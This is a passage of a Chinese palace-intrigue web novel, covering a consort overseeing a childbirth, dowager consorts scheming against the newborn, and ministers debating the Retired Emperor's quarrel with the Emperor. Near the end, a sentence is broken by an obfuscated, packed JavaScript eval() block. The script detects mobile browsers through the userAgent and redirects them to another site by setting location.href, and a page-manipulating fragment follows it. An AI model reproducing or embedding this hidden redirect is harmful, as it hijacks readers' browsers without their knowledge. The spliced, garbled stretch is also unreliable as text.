特别是杭婕妤,她应该不会不想阻拦忠毅伯府的姑娘进宫,庄太妃此时把这主意送去,相当于送给她一条妙计,我推测,她会给郭皇后出主意,用忠毅伯府来除掉霍贵妃;只要忠毅伯府出手,她就能螳螂捕蝉黄雀在后,借机收拾忠毅伯府。” 霍灵渠凝视这张纸条小会儿说:“待会儿我就派人请魏王进宫,把纸条给他。” “再把皇帝的密报告诉魏王。”晏霁之叮嘱,霍灵渠不防眼皮跳了跳,靠近问:“江南,江南真有可能会起战祸吗?昌隆侯当真有可能会造反?”可挨得如此相近,晏霁之不戏谑她一下都觉得对不住自己啊:“是不是只轻轻碰了碰,意犹未尽呢?” 霍灵渠默下,要退出他的怀抱,晏霁之强势将女人揽住,抚着她的脸,低头吻她,不是蜻蜓点水似的亲吻更非理智被欲望压过的冲动,就是在理智范围内的痴缠热吻。 做流光姨娘时对他养成的柔顺,霍灵渠愣是没拒绝下就环抱男人回应,难舍难分好半响,晏霁之不得不刹住:“眼下重要的不是江南会不会起战火,而是皇帝今早前往太微宫八成得和太上皇闹僵,忠毅伯府的爵位恐怕保不住了。” “忠毅伯府夺爵?”霍灵渠惊讶着喘息:“会有这么严重吗?” 晏霁之执起茶壶倒两杯茶,递杯茶给她,自己饮杯茶,揣摩道:“依我看很有可能,但太上皇目前还不会想和皇帝撕破脸,所谓打个巴掌给颗甜枣嘛,太上皇警戒过后八成还会安抚皇帝,佟图匡前日不是被罢官了么,正好,把忠毅伯升任礼部尚书。” 霍灵渠讶下,替他高兴:“嗳,忠毅伯升任礼部尚书,你不就升任吏部侍郎了吗?” “嗯,”晏霁之自个儿不冷不热的:“但我升迁了,我当前工部郎中的位置就空出来了,庄太妃也许要给晋王出主意把玉藏珠的丈夫调进京来补这个空缺了。” “玉藏珠?”霍灵渠愣下,眨眨眼,小脸忽而隐隐泛起惊喜,旋即被晏霁之训:“你给我打住!他们夫妇若是进京,你对玉藏珠该是什么态度,不用我教了吧?” “你就不嫌累吗?我都替你累的,反正都好多年了,有七八年了吧。”霍灵渠怂恿:“你已经表现得很深情,足够深情了,差不多就趁势了断吧。” “你有什么可累,看看你对玉藏珠的兴奋劲儿,我看你背着我憋着歪心思才是真的。”晏霁之板脸谴责:“正好,我再跟你算笔账,你在魏王面前怎么编排我的?” 霍灵渠眼眸左转转右转转,嘟囔抗辩:“就我自己的感受嘛,不算编排。” “那我也到皇帝或者魏王面前甚至于任何人面前说说我对你的感受,你觉得可行吗?”晏霁之没好气凶她,霍灵渠太清楚这男人指的是床帏中事,悲催退让:“好好好,我不对,我发誓我以后绝不会再犯了,我知道错了,你就不要跟我计较了嘛。” 晏霁之恭维她:“你的意思,你在魏王面前编排我这笔账就算了?” 霍灵渠抿唇不语,倚在男人怀里撒娇,就打算这样蒙混过去了,晏霁之衷心道:“你装没事人的本事真的快不要脸了。”再给她记账:“今天算了,贵妃回省亲时你就做好准备吧,你总该还记得我们曾经玩得有多疯吧。”说的霍灵渠瞬间头皮发麻。 发现蒙混不过去的美人仰头,眨巴眨巴眼装可怜:“霁之,我知道错了,我真的知错了,你就原谅我这回嘛。”她小手还不老实地挑逗,晏霁之深呼吸,握住她的小手,克制道:“前些天在慈寿宫前,姬太妃跟你说了什么事?” “啊,哦,”霍灵渠爽快相告:“她告诉我,她大弟弟名叫姬沛,水丰沛的沛字。” “姬沛?”晏霁之喃喃念,眼底若有所思:“就这么点事吗?” 霍灵渠应对啊,晏霁之不信:“这么点事就让你当场心思沉重了?” “真的,我心里头都觉得怪怪的,姬沛,姬沛,这个名字就是让我心里发沉,我在想我是不是曾经在哪儿遇到过这个名字呀?可我怎么想都想不起来。”霍灵渠靠在男人怀里,眉眼神情显见的低落,晏霁之哪能看不出她真是突然心情差了,姬沛? “还记得占城稻吧?”晏霁之对她心思沉重的因由真理不出头绪,暂且放开,叮嘱她:“我想好了,就由你呈报给朝廷,下个月,镇南侯嬴天漾会派人给你送进京来。” “我?”霍灵渠吃惊地指指自己,晏霁之给予肯定:“对,你,朝堂将会有大举措,想让占城稻发挥最大的作用掩一掩朝堂上的风波,唯有霍贵妃出面。 再者,我看你对在北境时曾不慎造成的无心之过耿耿于怀,这占城稻能让更多人吃饱饭能挽救许多濒临饿死的穷困之人,是贵妃的功劳,但愿能让你心里慰藉些。” 霍灵渠连忙摆手,她承受不起:“怎么能是我的功劳,明明是你的功劳呀。” 晏霁之指腹划过她娇嫩的红唇,更像是在陈述:“你我之间,还分彼此?” 霍灵渠嘟嘟小嘴想反驳又不想反驳的,晏霁之再交代:“阿漾把稻谷给你送来,你把稻谷呈给皇帝,嬴忱璧——”晏霁之眼底黯然苦涩,嬴忱璧当然会利用,甚至无需利用,贵妃把这稻呈报给朝堂,通往中宫的路就算通了,这都算他自己给自己添麻烦了。 “霁之?”霍灵渠唤他,晏霁之展笑道:“哦,皇帝都会安排好的,你只需要把占城稻呈报给皇帝,其他事,你都不必操心,按皇帝的安排做就好了。” “嗯!”霍灵渠笑容甜甜的,单纯因这稻米能更多困苦人家吃饱饭而高兴。 晏霁之抚抚她的笑脸,不由自主吻她,霍灵渠自然而然回应,正当两人沉浸在拥吻中,殿外禀告传来:“贵妃,翁美人要生了,太后已派人去太微宫给陛下报信,请贵妃您去拾翠阁坐镇。”吓得霍灵渠险些咬到自己的舌头,拔高音量喊:“知道了,退下吧。” 把宫女打发走,霍灵渠拍拍心口,然后她就对上了晏霁之桃花眼盛满揶揄的笑,忍不住拍他,跟小猫挠痒痒似的,晏霁之任由她打,只管拿丝帕来给她擦红唇。 霍灵渠顿时意识到糟糕,连忙拿手绢来也给男人拾掇,他俩整理好,晏霁之站起来走去窗台前把香木捻灭,将残留的香木收好,打开殿门,沿着这座殿阁检查遍。 片刻后,晏霁之返回殿内,脸色有些不好:“西墙角有个昏睡的宫娥。” 霍灵渠美眸微缩,自我求证道:“有事禀告会溜达到西墙角去吗,何况若是有事禀告,逗留那么短能晕眩昏睡吗?”故,真是名眼线,来偷窥的。虽然对防范很坦然,但霍灵渠心理上是真不愿意会有暗桩偷窥他们:“如此明目张胆,皇帝的耳目……” “皇帝布在长春宫的眼线不可能如此拙劣,应该是某位太妃的眼线。”晏霁之环视圈,一股厌恶油然而生:“才几天前,霍太后刚处死两名眼线,今日竟又能出这种事。” “我防范归防范,真有宫人在偷窥是真让我不舒服。长春宫好歹是皇太后居所,霍家到底还没倒,他们就如此肆无忌惮?!”晏霁之冷静下,道:“你告诉太后,逼这名宫娥把她知道的细作报出来再处置,再阖宫筛查,长春宫里的细作委实有点多了。” 霍灵渠沉默两息时间,被迫敏感:“会有人害翁美人的皇嗣吗?” “你和皇帝谈谈吧。”晏霁之若有倦意地拥住她:“再让我抱十息时间。” “嗯…”霍灵渠亦感疲惫地靠在他怀里。 长春宫中祥静宁和,九宫山的太微宫山雨欲来风满楼,大有火药桶将要被引爆的趋势,太上皇老脸可怖阴沉满布天子怒伏尸百万的威凛,皇帝眉骨铮铮锐不可当:“父皇莫非要把祖宗基业江山社稷拱手让给昌隆侯吗,您还记得这是嬴家的天下吗?!” “皇帝?!” “父皇!!” 112. 第112章 琉璃碧瓦反射着粼粼光彩,皇宫的金碧辉煌似比阳光耀眼,又是个艳阳天。 御前总管蒋厚运和长春宫的陶姑姑各带着六名宫人已在拾翠阁,得到贵妃将至的禀告,他们带着宫人到拾翠阁前的宫道上迎候,霍贵妃的轿辇落地,众人行礼请安。 霍灵渠走出轿辇示意免礼,率众往拾翠阁里走。拾翠阁自有二十名宫人,霍贵妃又带来十八名宫人,眼下整座殿阁内就有五十多人。 霍灵渠刚走几步就敏感觉得拾翠阁人多了些,怕人多容易被浑水摸鱼,暂且按下,来到正殿稍坐坐,问翁美人的情况。 “禀贵妃,翁美人发动有半个多时辰了,喻秀仪和倪芳华亲自来探望过,令愔夫人和杭婕妤派宫人来慰问过;翁美人想向太后求个恩典,允许她母亲进宫来陪着她。” “没有请位太医来候着?”霍灵渠问,御前总管蒋厚运答:“是,娘娘,四品及以上的嫔妃临盆时方能传召太医,四品以下,太医署会酌情派医女过来陪护。” “椒房殿没派宫人来过?”霍灵渠再确认,陶姑姑颔首应是,霍灵渠沉吟下,端起刚奉上来的热茶抿两口,吩咐道:“派宫人去请翊善伯夫人带家中女眷进宫来,再去太医署请位太医过来候着,长春宫刚抓出名贼人,这皇宫近来委实有点不安生。” 御前总管蒋厚运神情微变,与陶姑姑同应下,又闻霍贵妃问:“稳婆可靠吗?” “贵妃放心,二公主、三皇子和早夭的三公主都是曹婆接生的,曹婆的本事是顶好的,陛下和娘娘们都信得过。”蒋厚运倒不疑霍贵妃会想去母留子,霍家不屑。 “往年,我霍灵渠没有进宫,太妃们也没被迫出过十万两银票吧?”霍灵渠不想放心,蒋厚运不禁心里咯噔,和陶姑姑眼神交流过,霍贵妃的新命令就下来了:“盯仔细了,拾翠阁绝不能出纰漏,送进产房的任何物件哪怕是一盆水都要拿银针验过。” “请太后派两名她身边的医女过来,让翊善伯夫人带两名稳婆进宫来帮衬,这可是我的皇儿,就一个稳婆看顾,不是委屈我的皇儿么。”傲慢中若有薄怒地下过令,霍灵渠站起来往产房方向走去,陶姑姑陪着再走趟产房,蒋厚运接着命令去做事。 产房前有四名宫娥把守,产房内除稳婆和两名医女外还有六名宫人随侍,翁美人额头沁薄汗,略虚弱地躺靠在大床里歇息,她剧痛过阵刚好些,稳婆和医女让她莫急,多攒劲儿,她正攒着劲儿呢,霍贵妃亲自进来看她吓得她差点鲤鱼打滚又剧痛。 众人给贵妃请安,翁美人心底腹诽霍贵妃多事,面上只能装感恩:“嫔妾给贵妃请安,望贵妃恕罪,嫔妾不能起身给您行礼,产房血腥污秽,怎能劳您亲临来看嫔妾?” 小宫女搬只锦凳来放在床边,霍灵渠理理裙摆落座,以恰到好处的和蔼与威慑示下:“诞育皇嗣是大事,翁美人又是头胎少不了会害怕,本宫多看顾些是应当的;你放心,已经派人去传翊善伯府的女眷了,翁美人只管安心给陛下和本宫生皇儿。” 给你生皇儿?!翁美人瞬间心情差,在心里怼:我知道我的皇儿生下来就要抱给你养,你不用再敲打我了,可再不忿,面上她还是只能恭恭敬敬地谢恩。 陶姑姑再宣布贵妃娘娘的最新安排,翁美人没什么感觉,让翊善伯府带两名稳婆来帮衬对她又没坏处。两位医女较平静,负责接生的曹稳婆不舒服更觉得受辱了。 “贵妃娘娘莫不是信不过老身?老身接生过的婴孩没有一千也有八百,陛下登基以来,老身已经接生过三位皇嗣,这回亦是陛下亲自安排老身来给翁美人接生。” 霍灵渠微怔,转眸注视眼稳婆,倒是被挑起个忽略的症结。她收回视线,站起来,隔着锦被抚翁美人高耸的孕肚,吓得翁美人心里发毛差点没控制住不哆嗦。霍灵渠可没想过她这点小举动能吓着翁美人,缓缓抚过孕肚,她看向稳婆,唇畔含笑而眼风锐利。 “莫非曹婆以为本宫的孩儿出生只你一个稳婆看顾着不是在怠慢我和皇儿?” “是陛下亲自安排,当年皇后生产时就是独老身这个稳婆看顾着。”曹婆不卑不亢。 “曹婆婆,本宫当然信得过你,但居功自傲可不是好事。”霍灵渠施施然走向稳婆,好整以暇质问:“皇嗣何其重要,该不该至少多备个稳婆,以策万全,陛下和皇后信得过你,你可曾感恩陛下和皇后娘娘的信赖看重,你又可曾顾念过皇嗣的安稳?” 直指曹婆贪功想独占接生皇嗣的功劳而且没有感恩之心,这下曹婆怎么回话都是错了,翁美人琢磨她要不要帮衬把曹婆?但一回两回的,霍贵妃的心计真不得了啊。 曹稳婆咬牙握拳低头:“贵妃教训的是,老身糊涂,老身这就去皇极宫前请罪。” 言罢,曹稳婆告个退往外走,翁美人想她还是不掺和了,这曹婆搬起石头砸自己的脚,想跪在皇极宫前请罪好反将霍贵妃一军也不看看现在什么时候什么状况,活活自己给霍贵妃递把柄,果然,霍贵妃看她要走出门槛时阻止了,言辞间已有怒意。 “本宫童年时常在皇宫中小住,见过不少有本事的宫人,越有本事的宫人越知恭敬识礼懂规矩,一两句话都说不得的宫人是真少见,翁美人在生皇嗣,你走?” 产房中众宫婢皆低头,曹稳婆当然不可能回怼说反正霍贵妃你已经再找稳婆过来了。曹稳婆刚迈过门槛的腿脚如有百斤重,憋泪忍住憋屈和委屈,跪下来向霍贵妃请罪。 “知错能改就好,进来吧。”霍灵渠估测这曹稳婆应该不像被收买的,她眼风不着痕迹地扫视过太医署派来的两名医女,慢步走到床前,抬手给翁美人拉拉锦被盖盖好。 “本宫来前,长春宫刚抓到名贼人,这座四方城近来是真不安生。”霍灵渠直起身体,转过身环视过在产房内伺候的众人,凛冽威压:“本宫丑话说在前头,拾翠阁若有个闪失,谁都别想存侥幸逃过;不要辜负陛下和本宫的信赖,看顾好皇嗣和翁美人。” “奴婢谨遵贵妃娘娘教诲。”众相关宫人整齐跪下来,算是明白霍贵妃挑事的缘故了。曹稳婆想通了霍贵妃不是在针对她,但感观差还是差,心里不舒服还是不舒服。 翁美人惊悚,贵妃的意思,难道是那群太妃想对她的皇嗣做文章甚至于想害她的皇儿?这产房里都有可能已经混进细作来了?谁,会是谁,宫婢、稳婆还是医女? 迅猛猜疑过阵后,翁美人拍拍心口觉得自己有点魔怔了,还是自己不要吓自己。 “陛下在太微宫议事,陛下回宫了就会来看你,你母亲也会很快进宫来。”霍灵渠握握翁美人的手,眉眼温柔:“本宫就在外面,有事就让宫人来找我,莫怕啊。” “嫔妾相信娘娘,嫔妾不怕,嫔妾谢娘娘。”翁美人眼下只能把霍贵妃当救命稻草了,毕竟霍家对郭皇后都懒得耍阴招何况对她,霍贵妃应该是真愿意保她安全的。 霍灵渠拍拍她的小手,再宽慰几句后让宫人们过来照料,她带陶姑姑离开产房。 来到庭院中,霍灵渠将随行的小宫女遣退远,让陶姑姑靠近来,低声交代:“你派个信得过的宫女回趟长春宫禀太后,让长春宫给皇嗣准备的奶娘今日腹泻到爬不起来。 你再亲自走趟慈寿宫,告诉庄太妃,翁美人和新降生的皇嗣若有不好,查到太妃宫中,不管是不是她做的,我都算她做的,不想背黑锅就管好慈寿宫和宁寿宫的太妃们。” “是,贵妃。”陶姑姑领命退下,霍灵渠遥望向高阔的蓝天,忍不住呼出口浊气。 陶姑姑带着四名宫人来到慈寿宫见过庄太妃,转述过贵妃的原话,她便告退。 庄太妃置若罔闻般拨着佛珠,凝神半响,她去找朱太妃,见面就直截了当问:鞠太妃和小朱太妃有没有独个或者合谋想算计翁美人的皇嗣? “她们的谋算,你问我作甚,你看我就这么闲吗?”朱太妃冷嗤。 “你堂妹若是出手,你能不知吗?你知道了,要么拦住你堂妹不准她妄动,若拦不住,你定会帮她把事情谋划周全,没第三种了。”庄太妃好笑:“长春宫才刚处死几名细作,她们就在屋里大发雷霆,你看她们是怕霍宝鸾收不到消息怀疑不到她们吗?” 朱太妃沉着脸不语,庄太妃蹙眉:“今儿个在长春宫到底是怎么回事,你们这几名眼线怎么会如此大意到被捉住还连什么消息都没递出来就被处死了?” “霍贵妃的院里没咱们的人,她和英王世子碰面,上回眼线没能进院;这回安排好了,她们传令眼线盯着。”朱太妃被气道:“然后,然后就没后续了,我也想知道怎么回事,怎么会几名眼线协作都能连个消息都没递出来就被端了?” “不是霍宝鸾。”庄太妃当机立断:“霍宝鸾没这本事,是英王世子的手笔。” 朱太妃不在意是谁的手笔,但真恼被这束缚的压抑:“还不到十天,前几天处死两个,今日又被处死四个,我们堂姐妹埋在长春宫的暗钉都快被拔干净了。” “你堂妹真打翁美人这皇嗣的主意了?”庄太妃当然懂她的话外音,不同意道:“这皇嗣若是生下来就夭折于我们能有多少利可图,但只要这皇嗣养在霍贵妃膝下,想用就能用,想做多少文章想怎么利用都可以,你何必陪着你堂妹犯糊涂?” “她想撒气而已,你也知道她们性急,让她们忍着等拿霍桑柔来出气没那么好耐性。”朱太妃语调散漫又傲慢:“你放心,皇帝查不出来的,我没在产房里动手脚。” “那你在哪里动手脚了?”庄太妃打量她,朱太妃忽而风情一笑:“你猜呢?” 庄太妃眯眯眼:“奶娘?” “哈哈哈……”朱太妃意趣盎然:“谁叫新生的小婴孩脾胃弱,这大人能承受得住的,小婴孩受不住呢,这若是个皇子,今后只能做个病秧子,真是可惜了。” “你还是收手吧,霍家到底不是吃素的。”庄太妃告诫道:“这皇嗣生下来,太医给他把脉不见脾弱征兆,养到霍贵妃膝下后三天两头脾弱多病,霍家还能不彻查吗,这奶娘还能逃得过被查吗?你想动手脚就该在产房里也安排好,眼下来不及了,算了吧。” 被贬斥,还是兴致高昂时被泼冷水被贬斥为谋划失当,朱太妃郁气涌上心头,恭维道:“庄姐姐不愧是圣人后妃中争宠第一人,圣人最爱的温献皇后都被你暗中耗死了。” 庄太妃眼神转厉地看她眼,一字未语,站起来,昂首往外走。 今儿还是秀女采选进行第一轮复选的日子,通过复选的百名秀女将会在四月二十进宫,在四月二十一至四月二十五期间简略粗浅地学习宫廷礼仪,四月二十六进行验收评定,是为第二轮复选,通过两轮复选的八十名秀女将于四月二十八参与最后的殿选。 日照转进巳时末,第一轮复选结束,令愔夫人将通过第一轮复选的秀女名单送到拾翠阁给霍贵妃阅览,霍贵妃看过,她再慰问过翁美人的状况后,没有滞留地离开。 她刚走没半刻钟,宫人禀告贵妃:魏王到。鉴于翁美人在生产,魏王止步于拾翠阁外,霍灵渠来到拾翠阁外见到魏王,让随行的宫人们退远,把纸条递给他。 “霁之给我送来的,任逍以你的名义给你埋在英王府的暗钉下的令。” “知道了,嬴忱璧这两天有没有出什么事?”魏王解释道:“他在太微宫和太上皇吵得都快要把宫殿掀翻了,不是出大事了,嬴忱璧绝不会去和父皇闹这么凶。” 霍灵渠往前步,轻声告诉他:皇帝收到密报,昌隆侯想害蜀王死在北境。 魏王险些难以置信:“你消息确凿吗,昌隆侯再狂也不至于敢害蜀王吧?” “真的,皇帝前日传召我大哥和霁之还有班丞相把这密报给他们看了,不会错的。”霍灵渠肯定,魏王恍然:“难怪班丞相他们前日相继秘密出城,还真是要出事了。” “你陪着翁美人吧,我这就出宫了。”魏王转身就走,霍灵渠连忙喊住提醒:“哎你记得把这张纸条烧掉。”然后魏王把这纸条还给她再走,霍灵渠:“……” 当霍灵渠默默往回走时猛地被弟弟截住,霍雄鹰怪道:“三姐你跟魏王扯什么?” “这什么东西?”他把纸条顺过来,看过后要尖叫时被霍灵渠赶忙拦住:“好了好了,雄鹰,这是霁之截获的纸条,庄太妃埋在魏王府的眼线冒充魏王的名义给魏王埋在英王府的眼线传的令,魏王这眼线又把事情推给晋王,所以误打误撞,绕一圈又绕回去了。” 霍灵渠把纸条拿回来,笑道:“翁美人在生孩子呢,你来拾翠阁做什么?” “哦,三姐,出、出事了。”霍雄鹰被姐姐绕得差点大喘气:“姑母让我来告诉你,陛下在太微宫和圣人吵得不可开交,我爹和显国公、英王和晏副相、班丞相和房副相他们都在商量着要一同赶过去,姑母让我来告诉你,你有个准备,今天保不齐要出事了。” “有多严重?”霍灵渠莫名有丝心惊,忠毅伯府真会因此被太上皇夺爵吗? “太微宫的正大殿都快要被砸了,据说圣人现在连杀人的心都有,陛下寸步不让,我爹传进来的话就是,今天闹到太微宫被烧了都不奇怪。”但霍雄鹰奇怪啊:“这两天也没出什么事啊怎么能突然闹这么凶,偏偏吵的什么事,太微宫又透不出消息来。” 恰如霍雄鹰所言:透不出消息来。皇宫内外的耳目灵通者当下差不多都已获悉了皇帝和太上皇吵凶,慈寿宫和宁寿宫两座太妃宫殿更是一经获悉便犹如被投进沸水中,但落实到,皇帝和太上皇因何事争执得这么凶,又真是个个一筹莫展。 鞠太妃像只花蝴蝶到处忙,问过小朱太妃,问过庄太妃,问过朱太妃,连姬太妃都被她找过来问到了,一大群人聚拢来在慈寿宫的正殿里商量,偏偏谁都是一问三不知,她火了:“太微宫都闹成什么样了,你们还遮遮掩掩地瞒着我有意思吗?” “鞠姐姐,你何必妄自菲薄?”田太妃接道:“你没查到,我们就能查到吗?” 鞠太妃一噎,不死心地再问庄太妃:“你说,我就不信你也没查到?” “数百名神策军在大殿二十丈外把整座大殿团团围住,你没收到消息吗?”庄太妃真嫌她拎不清到连什么是重点都搞不清:“皇帝摆明在严防走漏风声,谁能打探到?” 鞠太妃再一噎,一颗澎湃的心真有点无处安放:“那你们说会是什么事,四五年了,皇帝在圣人面前向来连大气都不敢喘的,皇帝对圣人身边的小太监都客客气气摆不起点威风,今儿他是吃雄心豹子胆了还是被五通神附体了怎么会竟敢和圣人闹这么凶?” 尽皆沉默,但多数太妃沉默的面孔下到底是同在疑惑还是嘲笑她就说不准了,这大殿里包括宫婢有四五十人了,有一个把她这话往外传一传,传到皇帝耳中将来就够她喝一壶的,甚至不必等将来,皇帝真想收拾会收拾不了她吗?鞠太妃不长脑是真不长脑。 小朱太妃不耐烦:“哎呀有什么可猜的,让晋王走趟太微宫不就知道了。” 或许许多人都有自得感,像鞠太妃对自己的言谈未觉有何不妥,但小朱太妃这话出口,她就能和多数太妃一般看小朱太妃和庄太妃的眼神有点微妙,太微宫眼下的情况,谁凑上去谁倒霉,且不说晋王自己就不可能去,庄太妃再想探个究竟都不会让晋王去。 阮太妃睇眼庄太妃,没多事,朱太妃瞧着庄太妃的脸色只得亲自缓和:“这么点小事怎能劳驾晋王,显国公必会从速赶去太微宫,问显国公就是了,庄姐姐说是吧?” 庄太妃淡淡挤出丝笑意,顺着台阶把这事揭过去。 而在皇宫外,心情最激荡的当属平原大长公主,她亢奋难抑地亲自赶去了户部找丈夫,没想到显国公已经和班丞相他们赶往太微宫,害她憋着闷气怏怏而回。 魏王快马加鞭在太微宫数里外截住这行人,一行八人,两个年轻的平淡,长者们心塞,被推出来和魏王交涉的穆国公霍秦川更心塞:“魏王爷,是这样的,我们听闻贵妃有事请您进宫商议,太微宫情况紧急又耽搁不得,这才没等您来带头。” 临近九宫山前的官道宽阔,两旁无树木遮挡,视野开阔足以保障不会有被偷听的隐患。魏王勒勒缰绳往前近些,神情沉肃:“昌隆侯想害蜀王死在北境?” 完犊子!霍秦川转过脸不想再和魏王交涉,长者们都不想搭腔,魏王转向年轻的两个,晏霁之答非所问:“是霍海啸硬拽着我来的。”他话音落,霍海啸申明:“是我爹硬拽着我。”完了他们俩还很有默契地异口同声:“我们根本不想凑这趟热闹。” 魏王冷静调整下:“我问的是皇帝的密报,昌隆侯想害蜀王死在北境,是也?” “准确来说,陛下收到的密报是朱太妃威胁庄太妃:晋王何时送蜀王壮烈牺牲在北疆,昌隆侯府何时就把蜀地驻军送到晋王麾下。”避不掉,晏霁之就答了,想想是糟心,这事本就让人糟心还得和魏王长篇大论,怨不得他们个个都不想多话。 “昌隆侯想做什么?”魏王迫近这群老头,反应剧烈:“昌隆侯想做什么?!” 半响没人回应,魏王威逼道:“你们六个前日相继出城,会没谈出结果来?没个结果,你们今日敢往太微宫凑,没个结果,你们怎么不把几个尚书都带上?昌隆侯想做什么,现在是你们装聋作哑的时候吗,还是都已经有人私下倒向昌隆侯了?” 晋王和昌隆侯走得太近,指向太明显,是晋王老丈人的显国公被迫出头:“魏王爷!前日丞相把事情拿出来,我第一个就表态了不能打仗,江南绝对不能起战火。” “江南还能起战火?”魏王没想过这茬,细想下,他忽然没把握了:“你们觉得我父皇会不相信皇帝的密报?”语毕,他看这群老头又全缩着了,转向两个年轻的。 “我们两个原本也没疑心过,但是他们都觉得圣人不会相信。”长辈们多长的阅历就是不是白长的,晏霁之提示:“眼下太微宫的正大殿都快被砸了,应该是没悬念了。” 魏王沉默下,逮着穆国公要他们的评测,穆国公霍秦川郁闷道:“根据霍漓江的推测,太上皇必是要保着昌隆侯的,陛下若不能动昌隆侯还能不往死里限制昌隆侯吗?但,但昌隆侯肆无忌惮都多少年了还能忍得了被限制吗?没准儿他今年就能造反。” “今年?”魏王被惊得变音,气血上涌:“朝廷不能防范于未然让昌隆侯死吗?” 这伙人再集体禁声,魏王对他们这德行没了耐性,要教训这群老头时,晏霁之及时说:“王爷,陛下曾和臣谈起,若假设晋王和昌隆侯合谋谋逆,圣人还是会就当外祖家瞎胡闹,铁心要让朱家得善终,处死晋王这亲儿子都不会累及昌隆侯那表弟。” 霍海啸难以置信地看向他,魏王怔愣下,火气须臾间就消散了;没涉及的五位长者或多或少惊诧唏嘘,有被牵涉的显国公已是不可思议:“世子,你没信口开河吧?” “国公爷可以向陛下求证。”晏霁之神情淡淡自有股令人信服的力量,显国公眼瞳收缩:“圣人……”太上皇到底是有多偏宠昌隆侯府才能引得皇帝生出那般感想? 对于亲爹对他们的狠,特别是还有那么鲜明讽刺的对照在,皇帝苦涩悲凉,魏王又何尝不悲哀心寒,他平静下来,握着马鞭翻身下马,大有要当场拿个章程的架势。 被他截住的八人不得不全都下马来,相互近前,魏王和他们隔着两三步距站定,但就是这两三步距离犹如有条笔直的横线阻隔着将彼此的站位划分成泾渭分明的两个阵营。 “昌隆侯必须得死。”魏王强硬道:“本王相信皇帝的密报,不能再任由圣人放纵昌隆侯了,否则国家存亡,谁都担待不起。倘若圣人宁可冒着亡国的风险都要纵容外祖家,此事,大臣们就请皇帝全权做主吧,本王愿意带头请陛下下决心,但你们必须与我同心。” 霍海啸没犹豫:“我同意。”表态速度快得霍秦川都想踹他。 显国公第二个同意,然后,然后就僵住了,迟迟不见剩余的六人加入,显国公着重吼:“霍秦川?”你儿子都同意了你还想搞什么幺蛾子,又喊英王:“晏墉,说话啊!” 霍海啸个混球,霍秦川心底骂咧咧,面上装得大义凛然斥:“圣人还不到六十岁,倘若圣人能长命百岁可还有好几十年,好几十年啊,将来还会有多少难事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459304|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是每一回闹分歧,咱们就这么干,成何体统?圣人再宽容臣下也不可能能容忍了。” 魏王眼神微闪,看过没表态的六人,迟迟不愿意同意是都已经知道了太上皇想求长生?太上皇想求长生则必会想害死皇帝,跟皇帝自己的命比起来,昌隆侯想造反就微不足道了,大臣们不能再以此死谏,但嬴忱璧是疯了吗,他此举是要担亡国风险的! 显国公懒得跟他绕弯:“今天都谈到这份儿上了,你就直说吧你想怎样?” 霍海啸无奈看着他爹装腔,霍秦川义正辞严:“谁不想长命百岁,你不想长命百岁吗?我们做臣子的不盼圣人高寿岂有礼呼,圣人若不盼长命百岁岂不是不爱惜自己吗?” 显国公下意识想反驳又克制住,总觉得霍秦川意有所指,可,会是什么呢?且,显国公莫名就认定这指向应该是只能意会不能言传的,沉吟稍许皱着眉看向霍秦川。 霍秦川给个他也很苦恼很糟心很忧愁很烦闷很悲催的苦瓜脸,指导半响,霍海啸因太懂他爹装腔的本事而就当看戏被晏霁之拽边上给他手写几字,显国公悟了,领悟得差点失语,太上皇禅位都几年了,现在告诉他,太上皇禅位就是个为求长生的权宜之计? 这是疯了是吧?! “你们全都知道是不是,你们全都知道了就瞒着我,这么大事一丝口风都不给我透?”显国公血气飙涨忍无可忍冲着班丞相他们咆哮,英王晏墉深感无辜:“就比你早几个时辰,兔崽子大半夜丑时把我拽起来跟我谈,你没看我跟这兔崽子都没睡好吗?” 晏副相附议:“今早刚知道,就比你早两个时辰,还没缓过来呢。” 房副相赞同:“穆国公昨儿个跟我谈的,就比你早一天,真的就一天。” 早好几天的班丞相总结:“没人故意瞒着你,这猝不及防的,都还没缓过劲儿。” 显国公被憋得心底狂飙脏话,要冲霍秦川发飙时被霍秦川硬按住,转向魏王,他愣下,立时同看向魏王,魏王平静得不寻常啊,难不成魏王早已获知太上皇想求长生? 顷刻间,他们全部注视向魏王,魏王淡淡笑了。 “本王知道,当年父皇因何闹着要禅位,本王和皇帝都很清楚,庄太妃也早已探知了,但晋王应该还被他生母蒙在鼓里,本王倒是好奇霍家和晏家是如此获知的?” 晏霁之抢答:“昨儿个,兴献侯来英王府跟我谈的。” 霍秦川很善良地没有戳破这小辈的谎言,尽量装得正经肃穆:“禀王爷,是上月末,霍漓江和国师碰了回面,国师透出的风声,霍漓江更是由那回碰面推测,当年圣人禅位是蜀王甥舅的手笔,老臣近来一直在想,或许魏王您乃至陛下都低估蜀王了。” “蜀王?”魏王意外,忽而他眼底一道锋芒闪过,这位三皇兄是变得太多了。 霍秦川再提醒:“王爷,咱们该去太微宫了,不好再耽搁了。” 魏王看他眼,嗯声,也没人有异议,显国公按按太阳穴走向他的宝马,霍海啸长吁气,对这个消息还真有点难以平复。大家重新骑上马,策马奔向太微宫。 赶到太微宫求见,候过宣见的等待,宣他们进殿的口谕来,魏王大步流星往前走,三位相爷和英王、穆国公、显国公前后列两排走中段,两个年轻的小臣押后,走过高高的台阶,迈进富丽雄浑的太微宫正大殿,没个二话,跪下来请两位至尊息怒。 太上皇老脸厉色阴翳,眉梢怒意更未消:“穆国公,拟旨,忠毅伯府夺爵。” 班丞相眉心跳下,好几人心里咯噔下,霍秦川是眼皮都没眨下就拖侄女下水:“圣人,忠毅伯府的姑娘在选秀期间怕是少不了要和贵妃起冲突,老臣以为,待芮姑娘冲撞过贵妃再由贵妃出面来太微宫请旨不迟,您若是嫌慢,让贵妃派人查查忠毅伯府吧。” 好些人真想侧目关注下穆国公,若说他对侄女没坏心,说出来都没人信呐。 皇帝直视瞪他,霍秦川默默转过脸,太上皇允道:“就这么办吧。” 